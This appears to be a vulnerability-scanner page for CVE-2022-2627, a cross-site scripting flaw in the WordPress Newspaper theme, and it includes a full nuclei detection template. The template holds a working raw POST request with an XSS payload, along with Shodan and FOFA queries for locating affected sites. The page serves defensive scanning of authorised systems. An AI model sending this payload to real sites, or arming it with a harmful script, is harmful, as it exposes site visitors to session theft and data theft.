CVE-2022-2627· tagdiv / newspaper· CWE-79
WordPress Newspaper < 12 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1.3%likelihood of exploitation, next 30 days
71%of all CVEs are less likely
Readycheck to confirm it
WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
Fix
Fixed in version 12
How to confirm it
Send: POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2
Positive when: contains "<form><math><img onerror=alert(document.domain) src=1><mtex…" and "td-block-" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-2627 -u <target>
The full check
id: CVE-2022-2627
info:
name: WordPress Newspaper < 12 - Cross-Site Scripting
author: ramondunker,c4sper0
severity: medium
description: |
WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: Fixed in version 12
reference:
- https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea
- https://nvd.nist.gov/vuln/detail/CVE-2022-2627
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-2627
cwe-id: CWE-79
epss-score: 0.01328
epss-percentile: 0.71242
cpe: cpe:2.3:a:tagdiv:newspaper:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: tagdiv
product: newspaper
framework: wordpress
shodan-query: http.html:/wp-content/themes/newspaper
fofa-query: body=/wp-content/themes/newspaper
publicwww-query:
- "/wp-content/themes/Newspaper"
- /wp-content/themes/newspaper
tags: cve2022,cve,xss,wordpress,wp,wp-theme,newspaper,wpscan,tagdiv,vuln
http:
- raw:
- |
POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=td_ajax_loop&loopState[moduleId]={{xss_payload}}&loopState[server_reply_html_data]=
payloads:
xss_payload:
- "--><form><math><img+onerror=alert(document.domain)+src=1><mtext></form>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- <form><math><img onerror=alert(document.domain) src=1><mtext>
- td-block-
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea
- https://nvd.nist.gov/vuln/detail/CVE-2022-2627
Use this check only on systems you are authorised to test. Where the data comes from